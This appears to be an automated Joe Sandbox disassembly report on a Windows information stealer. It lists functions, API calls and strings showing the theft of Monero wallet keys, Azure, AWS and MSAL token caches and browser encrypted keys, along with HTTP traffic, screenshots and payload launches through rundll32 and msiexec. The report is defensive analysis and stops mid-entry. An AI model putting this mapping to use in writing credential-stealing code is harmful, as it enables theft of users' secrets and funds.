Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 2628ec2bc85218778fe9befa4c4e9324e538fe25cb02bcb2b815f4388d8260de
Instruction ID: a27d289d0210b5d8817cdc575fa2b1effe4d628fa72a0be1f9e14a1df94a6d67
Opcode Fuzzy Hash: 2628ec2bc85218778fe9befa4c4e9324e538fe25cb02bcb2b815f4388d8260de
Instruction Fuzzy Hash: 2AE162758101089FDB04EBA2DD96EEE7378BF14302F144265F907B7091EE34AA4DEB66

Function 00C4C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Part of subcall function 00C5A920: lstrcpy.KERNEL32(00000000,?), ref: 00C5A972
Part of subcall function 00C5A920: lstrcat.KERNEL32(00000000), ref: 00C5A982

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0089F380,00000000,?,00C6144C,00000000,?,?), ref: 00C4CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00C4CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00C4CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00C4CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00C4CAD9
StrStrA.SHLWAPI(?,0089F2A8,00C60B52), ref: 00C4CAF7
StrStrA.SHLWAPI(00000000,0089F218), ref: 00C4CB1E
StrStrA.SHLWAPI(?,0089F848,00000000,?,00C61458,00000000,?,00000000,00000000,?,0089AE08,00000000,?,00C61454,00000000,?), ref: 00C4CCA2
StrStrA.SHLWAPI(00000000,0089FB08), ref: 00C4CCB9

Part of subcall function 00C4C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00C4C871
Part of subcall function 00C4C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00C4C87C

StrStrA.SHLWAPI(?,0089FB08,00000000,?,00C6145C,00000000,?,00000000,0089AD18), ref: 00C4CD5A
StrStrA.SHLWAPI(00000000,0089AF98), ref: 00C4CD71

Part of subcall function 00C4C820: lstrcat.KERNEL32(?,00C60B46), ref: 00C4C943
Part of subcall function 00C4C820: lstrcat.KERNEL32(?,00C60B47), ref: 00C4C957
Part of subcall function 00C4C820: lstrcat.KERNEL32(?,00C60B4E), ref: 00C4C978

lstrlen.KERNEL32(00000000), ref: 00C4CE44
CloseHandle.KERNEL32(00000000), ref: 00C4CE9C

Strings

, xrefs: 00C4C9C6

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 39d4adb9366c5e1eba975924900f8d14c3a44226c50f852e683d52840e3fe3db
Instruction ID: e57f9ba344381a2692cbb5eb7de995dab724ee02bf52c915d707b7c22ce92b63
Opcode Fuzzy Hash: 39d4adb9366c5e1eba975924900f8d14c3a44226c50f852e683d52840e3fe3db
Instruction Fuzzy Hash: 4BE1FA75810108AFDB14EBA2DC91FEEB778BF14301F444269F90676191EF306A8EDB66

Function 00C58320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

RegOpenKeyExA.ADVAPI32(00000000,0089CE10,00000000,00020019,00000000,00C605B6), ref: 00C583A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00C58426
wsprintfA.USER32 ref: 00C58459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00C5847B
RegCloseKey.ADVAPI32(00000000), ref: 00C5848C
RegCloseKey.ADVAPI32(00000000), ref: 00C58499

Part of subcall function 00C5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C5A7E6

Strings

%s\%s, xrefs: 00C5844D
- , xrefs: 00C585A3
?, xrefs: 00C5837A

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 95b30431bafac1d70161ca97211119768153cde22d35fae4f8ea702abf85fd60
Instruction ID: 10638dadd11a50c84f6258961aac001867c077cfd7a37d3b760b0a61fd39d279
Opcode Fuzzy Hash: 95b30431bafac1d70161ca97211119768153cde22d35fae4f8ea702abf85fd60
Instruction Fuzzy Hash: D6812B759101189FEB28DB51CC95FEA77B8FB08701F008299E509A6180DF756BCDCFA5

Function 00C54D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C58DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00C58E0B

lstrcat.KERNEL32(?,00000000), ref: 00C54DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00C54DCD

Part of subcall function 00C54910: wsprintfA.USER32 ref: 00C5492C
Part of subcall function 00C54910: FindFirstFileA.KERNEL32(?,?), ref: 00C54943

lstrcat.KERNEL32(?,00000000), ref: 00C54E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00C54E59

Part of subcall function 00C54910: StrCmpCA.SHLWAPI(?,00C60FDC), ref: 00C54971
Part of subcall function 00C54910: StrCmpCA.SHLWAPI(?,00C60FE0), ref: 00C54987
Part of subcall function 00C54910: FindNextFileA.KERNEL32(000000FF,?), ref: 00C54B7D
Part of subcall function 00C54910: FindClose.KERNEL32(000000FF), ref: 00C54B92

lstrcat.KERNEL32(?,00000000), ref: 00C54EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00C54EE5

Part of subcall function 00C54910: wsprintfA.USER32 ref: 00C549B0
Part of subcall function 00C54910: StrCmpCA.SHLWAPI(?,00C608D2), ref: 00C549C5
Part of subcall function 00C54910: wsprintfA.USER32 ref: 00C549E2
Part of subcall function 00C54910: PathMatchSpecA.SHLWAPI(?,?), ref: 00C54A1E
Part of subcall function 00C54910: lstrcat.KERNEL32(?,008A0710), ref: 00C54A4A
Part of subcall function 00C54910: lstrcat.KERNEL32(?,00C60FF8), ref: 00C54A5C
Part of subcall function 00C54910: lstrcat.KERNEL32(?,?), ref: 00C54A70
Part of subcall function 00C54910: lstrcat.KERNEL32(?,00C60FFC), ref: 00C54A82
Part of subcall function 00C54910: lstrcat.KERNEL32(?,?), ref: 00C54A96
Part of subcall function 00C54910: CopyFileA.KERNEL32(?,?,00000001), ref: 00C54AAC
Part of subcall function 00C54910: DeleteFileA.KERNEL32(?), ref: 00C54B31

Strings

Azure\.azure, xrefs: 00C54DD3
Azure\.aws, xrefs: 00C54E5F
msal.cache, xrefs: 00C54EF0
*.*, xrefs: 00C54DD8
Azure\.IdentityService, xrefs: 00C54EEB
\.azure\, xrefs: 00C54DC1
\.aws\, xrefs: 00C54E4D
\.IdentityService\, xrefs: 00C54ED9
*.*, xrefs: 00C54E64

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 26e6b491125db47bd8c11b814747166f3a405b6e102494e19b101767c9ae2639
Instruction ID: adaffb248e495b3e4f45bb5c04b71866197b17c0632473664959908cfb76f8af
Opcode Fuzzy Hash: 26e6b491125db47bd8c11b814747166f3a405b6e102494e19b101767c9ae2639
Instruction Fuzzy Hash: 4741A67A9502086BDB24F770DC87FED3338AB24705F444564BA89660C1FEB45BCD9BA2

Function 00C59010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00C5906C

Strings

image/jpeg, xrefs: 00C59136

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: ffeca6fc94dbc993803dead52b05abbe87c65f9c2de0ec925e45204560cddac8
Instruction ID: e192249bb6e4a66666c73c8a29f6de6704a782b85ef005e554ea627a5e3509fa
Opcode Fuzzy Hash: ffeca6fc94dbc993803dead52b05abbe87c65f9c2de0ec925e45204560cddac8
Instruction Fuzzy Hash: 3471F9B5900208EFDB04DFE5DC89FEEB7B8BB48301F148519F619A7290DB34A949DB61

Function 00C52E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

ShellExecuteEx.SHELL32(0000003C), ref: 00C531C5
ShellExecuteEx.SHELL32(0000003C), ref: 00C5335D
ShellExecuteEx.SHELL32(0000003C), ref: 00C534EA

Strings

"" , xrefs: 00C5309A
C:\Windows\system32\rundll32.exe, xrefs: 00C53332
.msi, xrefs: 00C53398
/passive, xrefs: 00C5345B
/i ", xrefs: 00C533E4
C:\Windows\system32\msiexec.exe, xrefs: 00C534BF
.dll, xrefs: 00C531E5
<, xrefs: 00C53490

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: f8842a69d28a291be651e5407ef82bb4f0f7788f022e4b7c88cd0aae26f3e6e0
Instruction ID: 90738c189fb0c27eb87104ae0bbeb5ec724e24f579d0d9c562eb9efa2ca01783
Opcode Fuzzy Hash: f8842a69d28a291be651e5407ef82bb4f0f7788f022e4b7c88cd0aae26f3e6e0
Instruction Fuzzy Hash: F0122F758101189ADB15EBA1DC92FDEB778BF14301F504269F90676091EF302B8EDFAA

Function 00C552C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C5A7E6

Part of subcall function 00C46280: InternetOpenA.WININET(00C60DFE,00000001,00000000,00000000,00000000), ref: 00C462E1
Part of subcall function 00C46280: StrCmpCA.SHLWAPI(?,008A0610), ref: 00C46303
Part of subcall function 00C46280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00C46335
Part of subcall function 00C46280: HttpOpenRequestA.WININET(00000000,GET,?,0089FCA0,00000000,00000000,00400100,00000000), ref: 00C46385
Part of subcall function 00C46280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00C463BF
Part of subcall function 00C46280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00C463D1

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00C55318
lstrlen.KERNEL32(00000000), ref: 00C5532F

Part of subcall function 00C58E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00C58E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00C55364
lstrlen.KERNEL32(00000000), ref: 00C55383
lstrlen.KERNEL32(00000000), ref: 00C553AE

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Strings

ERROR, xrefs: 00C554A9
ERROR, xrefs: 00C55432
ERROR, xrefs: 00C5546F
ERROR, xrefs: 00C553B9
ERROR, xrefs: 00C5530A

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 8bb4595c6b587d1be2b91348b1657c52e6bf0b6b5ed4428e0b51b47813b08762
Instruction ID: 32829629aa3dd6dc52c44a93b62bfa20ac424b0f557b8c282456077985492058
Opcode Fuzzy Hash: 8bb4595c6b587d1be2b91348b1657c52e6bf0b6b5ed4428e0b51b47813b08762
Instruction Fuzzy Hash: BC5120389101089BDB14FF62CD96AED7779BF10302F544128FC0A6A191EF346B8DEB66

Function 00C512D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 18658e90dfb43333fe744fb3d5a6f2d86277bbe242b40658f9beab8b8090595b
Instruction ID: 2d1031196e61eaa3f7d9a47e3dfad79a042de259e04f891db93c78f620395ca0
Opcode Fuzzy Hash: 18658e90dfb43333fe744fb3d5a6f2d86277bbe242b40658f9beab8b8090595b
Instruction Fuzzy Hash: A1C1C6B99001099BCB14EF61DC89FEA7378BB54301F044599F90A67181EB70AACDDFA5

Function 00C54280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C58DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00C58E0B

lstrcat.KERNEL32(?,00000000), ref: 00C542EC
lstrcat.KERNEL32(?,008A03C0), ref: 00C5430B
lstrcat.KERNEL32(?,?), ref: 00C5431F
lstrcat.KERNEL32(?,0089F308), ref: 00C54333

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Part of subcall function 00C58D90: GetFileAttributesA.KERNEL32(00000000,?,00C41B54,?,?,00C6564C,?,?,00C60E1F), ref: 00C58D9F

Part of subcall function 00C49CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00C49D39

Part of subcall function 00C499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00C499EC
Part of subcall function 00C499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00C49A11
Part of subcall function 00C499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00C49A31
Part of subcall function 00C499C0: ReadFile.KERNEL32(000000FF,?,00000000,00C4148F,00000000), ref: 00C49A5A
Part of subcall function 00C499C0: LocalFree.KERNEL32(00C4148F), ref: 00C49A90
Part of subcall function 00C499C0: CloseHandle.KERNEL32(000000FF), ref: 00C49A9A

Part of subcall function 00C593C0: GlobalAlloc.KERNEL32(00000000,00C543DD,00C543DD), ref: 00C593D3

StrStrA.SHLWAPI(?,008A02A0), ref: 00C543F3
GlobalFree.KERNEL32(?), ref: 00C54512

Part of subcall function 00C49AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00C44EEE,00000000,00000000), ref: 00C49AEF
Part of subcall function 00C49AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00C44EEE,00000000,?), ref: 00C49B01
Part of subcall function 00C49AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00C44EEE,00000000,00000000), ref: 00C49B2A
Part of subcall function 00C49AC0: LocalFree.KERNEL32(?,?,?,?,00C44EEE,00000000,?), ref: 00C49B3F

lstrcat.KERNEL32(?,00000000), ref: 00C544A3
StrCmpCA.SHLWAPI(?,00C608D1), ref: 00C544C0
lstrcat.KERNEL32(00000000,00000000), ref: 00C544D2
lstrcat.KERNEL32(00000000,?), ref: 00C544E5
lstrcat.KERNEL32(00000000,00C60FB8), ref: 00C544F4

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 456b459f0769c31f0009f0481f6907c5111081ea029890f766c195db85db9e77
Instruction ID: f497c738e019533198269e3f29f37fe1f821f5f7ebb91e4d74b12dc3ec2e4e4d
Opcode Fuzzy Hash: 456b459f0769c31f0009f0481f6907c5111081ea029890f766c195db85db9e77
Instruction Fuzzy Hash: 0D717A76900218ABDB14EBA0DC89FEE7379BB48301F044599F609A7181EA34DB8DDF65

Function 00C41310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

